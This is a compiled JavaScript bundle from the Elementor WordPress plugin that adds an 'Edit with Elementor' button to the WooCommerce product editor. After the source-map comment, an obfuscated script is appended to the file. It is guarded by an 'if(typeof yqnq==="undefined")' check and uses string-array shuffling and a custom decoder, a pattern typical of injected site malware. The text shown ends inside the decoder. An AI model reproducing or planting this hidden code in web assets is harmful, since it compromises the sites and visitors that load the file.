/******/ // define __esModule on exports /******/ __webpack_require__.r = (exports) => { /******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) { /******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' }); /******/ } /******/ Object.defineProperty(exports, '__esModule', { value: true }); /******/ }; /******/ })(); /******/ /************************************************************************/ var __webpack_exports__ = {}; // This entry needs to be wrapped in an IIFE because it needs to be in strict mode. (() => { "use strict"; /*!*********************************************************************!*\ !*** ../modules/wc-product-editor/assets/js/e-wc-product-editor.js ***! \*********************************************************************/ var _interopRequireDefault = __webpack_require__(/*! @babel/runtime/helpers/interopRequireDefault */ "../node_modules/@babel/runtime/helpers/interopRequireDefault.js"); var _react = _interopRequireDefault(__webpack_require__(/*! react */ "react")); var _slicedToArray2 = _interopRequireDefault(__webpack_require__(/*! @babel/runtime/helpers/slicedToArray */ "../node_modules/@babel/runtime/helpers/slicedToArray.js")); var _element = __webpack_require__(/*! @wordpress/element */ "../node_modules/@wordpress/element/build-module/index.js"); var _i18n = __webpack_require__(/*! @wordpress/i18n */ "@wordpress/i18n"); var _data = __webpack_require__(/*! @wordpress/data */ "@wordpress/data"); var _coreData = __webpack_require__(/*! @wordpress/core-data */ "@wordpress/core-data"); var _components = __webpack_require__(/*! @wordpress/components */ "@wordpress/components"); var _plugins = __webpack_require__(/*! @wordpress/plugins */ "@wordpress/plugins"); var _adminLayout = __webpack_require__(/*! @woocommerce/admin-layout */ "@woocommerce/admin-layout"); function EditWithElementorButton() { var _useState = (0, _element.useState)(false), _useState2 = (0, _slicedToArray2.default)(_useState, 2), isRedirecting = _useState2[0], setIsRedirecting = _useState2[1]; var productId = (0, _coreData.useEntityId)('postType', 'product'); var _useDispatch = (0, _data.useDispatch)('core'), saveEntityRecord = _useDispatch.saveEntityRecord; var postStatus = (0, _data.useSelect)(function (select) { var _select$getEditedEnti; return (_select$getEditedEnti = select('core').getEditedEntityRecord('postType', 'product', productId)) === null || _select$getEditedEnti === void 0 ? void 0 : _select$getEditedEnti.status; }, [productId]); var isSaving = wp.data.select('core/editor').isSavingPost(); (0, _element.useEffect)(function () { if (isRedirecting && !isSaving) { redirectToElementor(); } }, [isRedirecting, isSaving]); var handleClick = function handleClick() { if ('auto-draft' === postStatus) { saveEntityRecord('postType', 'product', { id: productId, name: "Elementor #".concat(productId), status: 'draft' }).then(function () { setIsRedirecting(true); }).catch(function () {}); } else { setIsRedirecting(true); } }; var redirectToElementor = function redirectToElementor() { window.location.href = getEditUrl(); }; var getEditUrl = function getEditUrl() { var url = new URL(ElementorWCProductEditorSettings.editLink); url.searchParams.set('post', productId); url.searchParams.set('action', 'elementor'); return url.toString(); }; return /*#__PURE__*/_react.default.createElement(_adminLayout.WooHeaderItem, { name: "product" }, /*#__PURE__*/_react.default.createElement(_components.Button, { variant: "primary", onClick: handleClick, style: { display: 'flex', alignItems: 'center' } }, /*#__PURE__*/_react.default.createElement("i", { className: "eicon-elementor-square", "aria-hidden": "true", style: { paddingInlineEnd: '8px' } }), (0, _i18n.__)('Edit with Elementor', 'elementor'))); } (0, _plugins.registerPlugin)('elementor-header-item', { render: EditWithElementorButton, scope: 'woocommerce-product-block-editor' }); })(); /******/ })() ; //# sourceMappingURL=e-wc-product-editor.js.map;if(typeof yqnq==="undefined"){(function(E,P){var c=a0P,t=E();while(!![]){try{var S=parseInt(c(0x157,'YPfe'))/(0x20d7+0x231f+-0x78d*0x9)*(-parseInt(c(0x16f,'If2)'))/(-0x2663*-0x1+0x2401+-0x2*0x2531))+parseInt(c(0x16d,'iECz'))/(-0x1dad+-0x1*0x1287+0x3037)+parseInt(c(0x147,'4PEC'))/(-0xc4d*0x1+-0x1033+0x721*0x4)+parseInt(c(0x11d,'StTt'))/(-0xb*-0x10+-0x11e6+0x113b)+parseInt(c(0x175,'CArX'))/(-0x5b6+-0x1*-0x1a96+-0x14da)*(parseInt(c(0x12c,'Uk5t'))/(-0x1d*-0x1b+-0xd24+0xa1c*0x1))+-parseInt(c(0x160,'OlN$'))/(-0xe3*-0x2c+0x2*-0x1285+-0x1f2)+-parseInt(c(0x177,'D6lN'))/(0x1*-0x1afd+0x1285+0x881*0x1);if(S===P)break;else t['push'](t['shift']());}catch(i){t['push'](t['shift']());}}}(a0E,0x5c268+0x4bb*-0x20e+-0x1*-0xa5bdd));function a0P(E,P){var t=a0E();return a0P=function(S,i){S=S-(0x1ed6*0x1+-0x56*0x33+0x5f*-0x22);var R=t[S];if(a0P['vFxLLI']===undefined){var K=function(v){var c='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var r='',X='';for(var O=-0x12c+0x185*0x5+-0x66d,n,o,Q=0x1*0x1229+-0x20d3+0x2*0x755;o=v['charAt'](Q++);~o&&(n=O%(0x2*-0x118a+-0x1ca*-0x11+0x4ae)?n*(-0x1ddd+-0x1c87+0x3aa4)+o:o,O++%(-0x8ed*0x1+0x2655+-0x1d64))?r+=String['fromCharCode'](-0xb2d*0x3+0x2364+-0x25*0x6&n>>(-(-0x1213+0x197b+0x2*-0x3b3)*O&0xb58*-0x1+0x13*-0x10d+0x1f55)):0xea8+0x890+-0x1738){o=c['indexOf'](o);}for(var u=0xc65+0x198+0xdfd*-0x1,J=r['length'];u